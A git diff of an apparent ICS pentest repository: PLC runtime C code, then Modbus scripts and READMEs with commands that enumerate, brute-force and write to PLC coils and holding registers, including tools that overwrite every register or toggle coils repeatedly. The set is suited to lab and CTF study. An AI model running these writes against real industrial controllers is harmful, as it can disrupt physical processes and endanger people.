GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = 